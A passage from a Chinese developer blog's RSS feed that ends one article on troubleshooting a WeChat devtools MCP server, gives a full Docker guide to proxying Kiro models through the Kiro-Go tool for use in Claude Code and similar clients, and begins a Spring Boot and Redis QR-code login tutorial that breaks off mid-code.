text">agents(action=&quot;list&quot;)<br>agents(action=&quot;path&quot;)<br></code></pre></td></tr></table></figure><p>这个 skill 的作用是告诉 AI：什么时候该 <code>open</code>，什么时候该 <code>compile</code>，什么时候只需要 <code>page_data</code>，什么时候不要乱调用 <code>upload</code> &#x2F; <code>quit</code>。</p><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="1-automator-连接失败"><a href="#1-automator-连接失败" class="headerlink" title="1. automator 连接失败"></a>1. automator 连接失败</h3><p>优先检查这几项：</p><ul><li>微信开发者工具服务端口是否已开启</li><li>是否已经通过 <code>wechat_ide(action=&quot;open&quot;)</code> 打开项目</li><li>项目 AppID 是否有效</li><li><code>WECHAT_DEVTOOLS_CLI</code> 是否指向正确的 <code>cli</code> 路径</li></ul><p>然后重试：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_automator(action=&quot;start&quot;)<br></code></pre></td></tr></table></figure><h3 id="2-找不到项目"><a href="#2-找不到项目" class="headerlink" title="2. 找不到项目"></a>2. 找不到项目</h3><p>如果是 uniapp 项目，先确认已经生成微信小程序产物：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">unpackage/dist/dev/mp-weixin<br></code></pre></td></tr></table></figure><p>如果没有这个目录，先在 HBuilderX 或构建命令里生成一下微信小程序。</p><p>如果你不想让它自动猜，也可以在工具调用里手动传 <code>project_path</code>。</p><h3 id="3-AppID-为空"><a href="#3-AppID-为空" class="headerlink" title="3. AppID 为空"></a>3. AppID 为空</h3><p>大概率是解析到的目录不是真正的小程序目录。</p><p>确认目标目录里有：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">project.config.json<br>app.json<br></code></pre></td></tr></table></figure><p>并且 <code>project.config.json</code> 里有有效 AppID。</p><h3 id="4-元素点不到"><a href="#4-元素点不到" class="headerlink" title="4. 元素点不到"></a>4. 元素点不到</h3><p>不要先硬点，先让 AI 读页面和源码：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_automator(action=&quot;page_data&quot;)<br>wechat_file(action=&quot;read_page&quot;, page_path=&quot;pages/login/index&quot;)<br>wechat_automator(action=&quot;element_info&quot;, selector=&quot;.target&quot;)<br></code></pre></td></tr></table></figure><p>确认当前页面路径、页面 data 和真实 class 之后，再调用 <code>tap</code>。</p><h3 id="5-编译显示成功但页面还是不对"><a href="#5-编译显示成功但页面还是不对" class="headerlink" title="5. 编译显示成功但页面还是不对"></a>5. 编译显示成功但页面还是不对</h3><p>微信开发者工具有时会出现 CLI 返回成功，但日志里其实有 fatal 错误的情况。</p><p>这个 MCP 里对常见 fatal compile 日志做了检测，如果命中会返回 <code>COMPILE_FAKE_SUCCESS</code>，这时候不要继续调页面，先看编译日志。</p><p>可以配合：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">wechat_build(action=&quot;compile&quot;)<br>wechat_inspector(action=&quot;console&quot;, duration=3, detail_level=&quot;full&quot;)<br></code></pre></td></tr></table></figure><h3 id="6-不要随便-upload-quit"><a href="#6-不要随便-upload-quit" class="headerlink" title="6. 不要随便 upload &#x2F; quit"></a>6. 不要随便 upload &#x2F; quit</h3><p><code>wechat_build(action=&quot;upload&quot;)</code> 是发布上传操作，除非你明确要发版本，并且已经准备好 <code>version</code> 和 <code>desc</code>，否则不要让 AI 调。</p><p><code>wechat_ide(action=&quot;quit&quot;)</code> 会直接影响你本地打开的开发者工具，一般调试过程中也没必要主动调用。</p><h2 id="开发与测试"><a href="#开发与测试" class="headerlink" title="开发与测试"></a>开发与测试</h2><p>如果你要本地开发这个 MCP Server：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">cd</span> weixinNode<br>npm <span class="hljs-built_in">test</span><br></code></pre></td></tr></table></figure><p>检查 npm 发布包内容：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">npm pack --dry-run --json<br></code></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>反代 Kiro：使用 Kiro-Go 暴露 OpenAI / Anthropic 兼容接口</title>
      <link>https://blog.newpon.top/2026/05/22/%E5%8F%8D%E4%BB%A3kiro/</link>
      <description>使用开源工具 Kiro-Go 反代 Kiro，暴露 OpenAI 与 Anthropic 兼容接口，支持多账号池轮询、SSE 流式响应及 Docker 快速容器化部署。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Docker/">Docker</category>
      <category domain="https://blog.newpon.top/tags/Kiro/">Kiro</category>
      <category domain="https://blog.newpon.top/tags/Kiro-Go/">Kiro-Go</category>
      <category domain="https://blog.newpon.top/tags/Claude-Code/">Claude Code</category>
      <category domain="https://blog.newpon.top/tags/CC-Switch/">CC Switch</category>
      <pubDate>Fri, 22 May 2026 02:14:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>Kiro 的这个ui是真几把难用，而且还很卡，就想着把Kiro的模型反代出来</p><p>这里使用的是 <strong>Kiro-Go</strong>：</p><p>GitHub 地址：<a href="https://github.com/Quorinex/Kiro-Go">https://github.com/Quorinex/Kiro-Go</a></p><p>Kiro-Go 的核心能力：</p><ul><li>支持 OpenAI <code>/v1/chat/completions</code> 接口</li><li>支持 Anthropic <code>/v1/messages</code> 接口</li><li>支持多账号池与轮询负载均衡</li><li>支持 SSE 流式响应</li><li>支持自动刷新 Token</li><li>提供 Web 管理后台</li><li>支持配置 HTTP &#x2F; SOCKS5 出站代理</li></ul><h2 id="使用-Docker-启动-Kiro-Go"><a href="#使用-Docker-启动-Kiro-Go" class="headerlink" title="使用 Docker 启动 Kiro-Go"></a>使用 Docker 启动 Kiro-Go</h2><p>先准备一个本地数据目录，用来持久化配置和账号数据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">mkdir</span> -p /opt/kiro-go/data<br></code></pre></td></tr></table></figure><p>然后启动容器：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name kiro-go \<br>  -p 8080:8080 \<br>  -e ADMIN_PASSWORD=your_secure_password \<br>  -v /opt/kiro-go/data:/app/data \<br>  --restart unless-stopped \<br>  ghcr.io/quorinex/kiro-go:latest<br></code></pre></td></tr></table></figure><p>参数说明：</p><ul><li><code>-p 8080:8080</code>：将管理后台和 API 服务暴露到本机 <code>8080</code> 端口</li><li><code>ADMIN_PASSWORD</code>：管理后台登录密码，建议改成复杂密码</li><li><code>/opt/kiro-go/data:/app/data</code>：持久化配置文件和账号数据</li><li><code>--restart unless-stopped</code>：服务异常退出或机器重启后自动拉起</li></ul><p>如果你想映射到其他端口，比如宿主机 <code>8912</code>，可以这样写：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">-p 8912:8080<br></code></pre></td></tr></table></figure><p>此时管理后台地址就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://localhost:8912/admin<br></code></pre></td></tr></table></figure><h2 id="访问管理后台"><a href="#访问管理后台" class="headerlink" title="访问管理后台"></a>访问管理后台</h2><p>如果使用上面的默认端口映射，启动成功后访问：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://localhost:8080/admin<br></code></pre></td></tr></table></figure><p>使用 <code>ADMIN_PASSWORD</code> 配置的密码登录后台。</p><p><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20260522174737095.png" alt="控制台"></p><p>进入后台后，先添加 Kiro 账号。账号配置完成后，可以在后台生成 API Key，后面配置到 CC Switch 或其他工具时会用到。</p><h2 id="在-CC-Switch-中配置"><a href="#在-CC-Switch-中配置" class="headerlink" title="在 CC Switch 中配置"></a>在 CC Switch 中配置</h2><p>打开 CC Switch，新建一个 API 配置。</p><p>如果按默认端口启动，基础地址可以填：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://localhost:8080<br></code></pre></td></tr></table></figure><p>如果你映射的是 <code>8912</code> 端口，则填写：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://localhost:8912<br></code></pre></td></tr></table></figure><p>API Key 填写刚刚在 Kiro-Go 后台生成的 Key。</p><p><img src="https://pub-7843c36ae8c74acbb64998494a352f61.r2.dev/picgo/20260522175051450.png" alt="配置"></p><p>配置完成后，点击获取模型列表。只要模型列表能正常拉取，说明 Kiro-Go、账号池和 CC Switch 的连接基本没问题。</p><p>接下来就可以把这个配置切换到 Claude Code、Codex 或其他兼容 OpenAI &#x2F; Anthropic 接口的工具里使用。</p><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="1-管理后台打不开"><a href="#1-管理后台打不开" class="headerlink" title="1. 管理后台打不开"></a>1. 管理后台打不开</h3><p>先确认容器是否正常运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker ps | grep kiro-go<br></code></pre></td></tr></table></figure><p>再查看日志：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker logs -f kiro-go<br></code></pre></td></tr></table></figure><p>如果你修改过端口映射，要注意访问的是宿主机端口。例如 <code>-p 8912:8080</code> 对应的是 <code>http://localhost:8912/admin</code>，不是 <code>http://localhost:8080/admin</code>。</p><h3 id="2-模型列表获取失败"><a href="#2-模型列表获取失败" class="headerlink" title="2. 模型列表获取失败"></a>2. 模型列表获取失败</h3><p>优先检查这几项：</p><ul><li>Kiro-Go 后台账号是否添加成功</li><li>API Key 是否复制完整</li><li>CC Switch 里的基础地址是否填写到端口，不要多写 <code>/admin</code></li><li>网络环境是否需要在 Kiro-Go 后台配置出站代理</li></ul><h3 id="3-不建议直接裸奔到公网"><a href="#3-不建议直接裸奔到公网" class="headerlink" title="3. 不建议直接裸奔到公网"></a>3. 不建议直接裸奔到公网</h3><p>如果要部署到服务器并开放给外部使用，至少要做好这些事情：</p><ul><li>修改默认后台密码</li><li>不要泄露 API Key</li><li>使用 Nginx &#x2F; Caddy 配置 HTTPS</li><li>给管理后台加访问限制</li><li>定期备份 <code>/app/data</code> 目录</li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>Spring Boot 实现扫码登录</title>
      <link>https://blog.newpon.top/2026/03/30/SpringBoot%E6%89%AB%E7%A0%81%E7%99%BB%E5%BD%95/</link>
      <description>基于 Spring Boot 3 与 Redis 实现安全的二维码扫码登录方案，包含二维码生成、轮询/状态管理、移动端确认授权与登录态同步全流程。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/Redis/">Redis</category>
      <category domain="https://blog.newpon.top/tags/Zxing/">Zxing</category>
      <pubDate>Mon, 30 Mar 2026 06:08:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="Spring-Boot-实现扫码登录"><a href="#Spring-Boot-实现扫码登录" class="headerlink" title="Spring Boot 实现扫码登录"></a>Spring Boot 实现扫码登录</h1><p>扫码登录是现代应用中常见的身份验证方式，本文将详细介绍基于 Spring Boot 3 的完整实现方案，包括二维码生成、状态管理、确认流程等核心环节。</p><hr><h2 id="一、Maven-依赖"><a href="#一、Maven-依赖" class="headerlink" title="一、Maven 依赖"></a>一、Maven 依赖</h2><h3 id="1-1-核心依赖引入（pom-xml）"><a href="#1-1-核心依赖引入（pom-xml）" class="headerlink" title="1.1 核心依赖引入（pom.xml）"></a>1.1 核心依赖引入（pom.xml）</h3><p>在项目的 <code>pom.xml</code> 文件中添加依赖：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-comment">&lt;!-- SpringWeb 核心依赖 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>org.springframework.boot<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><br><span class="hljs-comment">&lt;!-- Redis 依赖（存储扫码状态） --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>org.springframework.boot<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>spring-boot-starter-data-redis<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><br><span class="hljs-comment">&lt;!-- 二维码生成依赖 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.google.zxing<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>core<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>3.5.3<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>com.google.zxing<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>javase<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>3.5.3<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br></code></pre></td></tr></table></figure><hr><h2 id="二、配置文件"><a href="#二、配置文件" class="headerlink" title="二、配置文件"></a>二、配置文件</h2><p>在 <code>application.yml</code> 或 <code>application.properties</code> 中配置Redis连接和二维码基础参数。</p><h3 id="2-1-YAML-格式配置"><a href="#2-1-YAML-格式配置" class="headerlink" title="2.1 YAML 格式配置"></a>2.1 YAML 格式配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">spring:</span><br>  <span class="hljs-attr">servlet:</span><br>    <span class="hljs-attr">multipart:</span><br>      <span class="hljs-string">max-file-size:</span> <span class="hljs-string">100MB</span><br>      <span class="hljs-string">max-request-size:</span> <span class="hljs-string">100MB</span><br>  <span class="hljs-attr">data:</span><br>    <span class="hljs-attr">redis:</span><br>      <span class="hljs-string">host:</span> <span class="hljs-string">localhost</span> <span class="hljs-comment"># 本地Redis，生产环境替换为实际地址</span><br>      <span class="hljs-string">port:</span> <span class="hljs-number">6379</span><br>      <span class="hljs-string">database:</span> <span class="hljs-number">0</span><br>      <span class="hljs-string">timeout:</span> <span class="hljs-number">5000</span><br>      <span class="hljs-string">password:</span>  <span class="hljs-comment"># 无密码留空，生产环境需配置密码</span><br><br><span class="hljs-comment"># 自定义扫码登录配置</span><br><span class="hljs-attr">scan:</span><br>  <span class="hljs-attr">login:</span><br>    <span class="hljs-attr">qrcode:</span><br>      <span class="hljs-string">width:</span> <span class="hljs-number">200</span> <span class="hljs-comment"># 二维码宽度</span><br>      <span class="hljs-string">height:</span> <span class="hljs-number">200</span> <span class="hljs-comment"># 二维码高度</span><br>      <span class="hljs-string">expire-time:</span> <span class="hljs-number">300</span> <span class="hljs-comment"># 二维码有效期（秒），默认5分钟</span><br>    <span class="hljs-attr">redis:</span><br>      <span class="hljs-string">key-prefix:</span> <span class="hljs-string">&#x27;scan_login:&#x27;</span> <span class="hljs-comment"># Redis key前缀，避免key冲突</span><br>      <span class="hljs-string">state-key:</span> <span class="hljs-string">&#x27;scan_state:&#x27;</span> <span class="hljs-comment"># 扫码状态key前缀</span><br></code></pre></td></tr></table></figure><hr><h2 id="三、核心功能实现"><a href="#三、核心功能实现" class="headerlink" title="三、核心功能实现"></a>三、核心功能实现</h2><h3 id="3-1-枚举类（扫码状态）"><a href="#3-1-枚举类（扫码状态）" class="headerlink" title="3.1 枚举类（扫码状态）"></a>3.1 枚举类（扫码状态）</h3><p>定义扫码的4种状态，避免魔法值，后续判断状态更直观</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">import</span> lombok.AllArgsConstructor;<br><span class="hljs-keyword">import</span> lombok.Getter;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 扫码登录状态枚举</span><br><span class="hljs-comment"> * 实际项目中可根据需求增减状态</span><br><span class="hljs-comment"> */</span><br><span class="hljs-meta">@Getter</span><br><span class="hljs-meta">@AllArgsConstructor</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">enum</span> <span class="hljs-title class_">ScanLoginStatus</span> &#123;<br>    NOT_SCAN(<span class="hljs-number">0</span>, <span class="hljs-string">&quot;未扫码&quot;</span>),<br>    SCANNED(<span class="hljs-number">1</span>, <span class="hljs-string">&quot;已扫码，待确认&quot;</span>),<br>    CONFIRMED(<span class="hljs-number">2</span>, <span class="hljs-string">&quot;已确认登录&quot;</span>),<br>    EXPIRED(<span class="hljs-number">3</span>, <span class="hljs-string">&quot;二维码已过期&quot;</span>);<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Integer code;<br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> String desc;<br><br>    <span class="hljs-comment">// 根据code获取枚举，方便后续接口返回</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ScanLoginStatus <span class="hljs-title function_">getByCode</span><span class="hljs-params">(Integer code)</span> &#123;<br>        <span class="hljs-keyword">for</span> (ScanLoginStatus status : values()) &#123;<br>            <span class="hljs-keyword">if</span> (status.getCode().equals(code)) &#123;<br>                <span class="hljs-keyword">return</span> status;<br>            &#125;<br>        &#125;<br>        <span class="hljs-keyword">return</span> NOT_SCAN;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3-2-二维码工具类"><a href="#3-2-二维码工具类" class="headerlink" title="3.2 二维码工具类"></a>3.2 二维码工具类</h3><p>封装二维码生成逻辑，返回Base64字符串，方便前端直接渲染</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">import</span> com.google.zxing.BarcodeFormat;<br><span class="hljs-keyword">import</span> com.google.zxing.EncodeHintType;<br><span class="hljs-keyword">import</span> com.google.zxing.MultiFormatWriter;<br><span class="hljs-keyword">import</span> com.google.zxing.common.BitMatrix;<br><span class="hljs-keyword">import</span> com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;<br><span class="hljs-keyword">import</span> org.apache.commons.lang3.StringUtils;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Value;<br><span class="hljs-keyword">import</span> org.springframework.stereotype.Component;<br><br><span class="hljs-keyword">import</span> javax.imageio.ImageIO;<br><span class="hljs-keyword">import</span> java.awt.*;<br><span class="hljs-keyword">import</span> java.awt.image.BufferedImage;<br><span class="hljs-keyword">import</span> java.io.ByteArrayOutputStream;<br><span class="hljs-keyword">import</span> java.util.Base64;<br><span class="hljs-keyword">import</span> java.util.HashMap;<br><span class="hljs-keyword">import</span> java.util.Map;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 二维码生成工具类</span><br><span class="hljs-comment"> * 无需修改，直接复用</span><br><span class="hljs-comment"> */</span><br><span class="hljs-meta">@Component</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">QrCodeUtil</span> &#123;<br><br>    <span class="hljs-meta">@Value(&quot;$&#123;scan.login.qrcode.width&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> Integer qrcodeWidth;<br><br>    <span class="hljs-meta">@Value(&quot;$&#123;scan.login.qrcode.height&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> Integer qrcodeHeight;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 生成二维码Base64字符串</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> content 二维码内容（这里存临时凭证uuid）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> Base64字符串</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> String <span class="hljs-title function_">generateQrCodeBase64</span><span class="hljs-params">(String content)</span> &#123;<br>        <span class="hljs-keyword">if</span> (StringUtils.isBlank(content)) &#123;<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>(<span class="hljs-string">&quot;二维码内容不能为空&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-comment">// 二维码配置参数</span><br>        Map&lt;EncodeHintType, Object&gt; hints = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br>        hints.put(EncodeHintType.CHARACTER_SET, <span class="hljs-string">&quot;UTF-8&quot;</span>); <span class="hljs-comment">// 支持中文</span><br>        hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H); <span class="hljs-comment">// 30%容错率，适合户外/污损场景</span><br>        hints.put(EncodeHintType.MARGIN, <span class="hljs-number">1</span>); <span class="hljs-comment">// 二维码边框空白宽度</span><br><br>        <span class="hljs-keyword">try</span> &#123;<br>            <span class="hljs-comment">// 生成二维码矩阵</span><br>            <span class="hljs-type">MultiFormatWriter</span> <span class="hljs-variable">writer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">MultiFormatWriter</span>();<br>            <span class="hljs-type">BitMatrix</span> <span class="hljs-variable">bitMatrix</span> <span class="hljs-operator">=</span> writer.encode(content, BarcodeFormat.QR_CODE, qrcodeWidth, qrcodeHeight, hints);<br><br>            <span class="hljs-comment">// 转换为BufferedImage</span><br>            <span class="hljs-type">BufferedImage</span> <span class="hljs-variable">image</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">BufferedImage</span>(qrcodeWidth, qrcodeHeight, BufferedImage.TYPE_INT_RGB);<br>            <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">x</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; x &lt; qrcodeWidth; x++) &#123;<br>                <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">y</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; y &lt; qrcodeHeight; y++) &#123;<br>                    <span class="hljs-comment">// 黑色二维码，白色背景</span><br>                    image.setRGB(x, y, bitMatrix.get(x, y) ? Color.BLACK.getRGB() : Color.WHITE.getRGB());<br>                &#125;<br>            &#125;<br><br>            <span class="hljs-comment">// 转换为Base64</span><br>            <span class="hljs-type">ByteArrayOutputStream</span> <span class="hljs-variable">outputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ByteArrayOutputStream</span>();<br>            ImageIO.write(image, <span class="hljs-string">&quot;png&quot;</span>, outputStream);<br>            <span class="hljs-type">byte</span>[] imageBytes = outputStream.toByteArray();<br>            <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(imageBytes);<br><br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(<span class="hljs-string">&quot;二维码生成失败&quot;</span>, e);<br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3-3-核心接口实现（Controller）"><a href="#3-3-核心接口实现（Controller）" class="headerlink" title="3.3 核心接口实现（Controller）"></a>3.3 核心接口实现（Controller）</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span 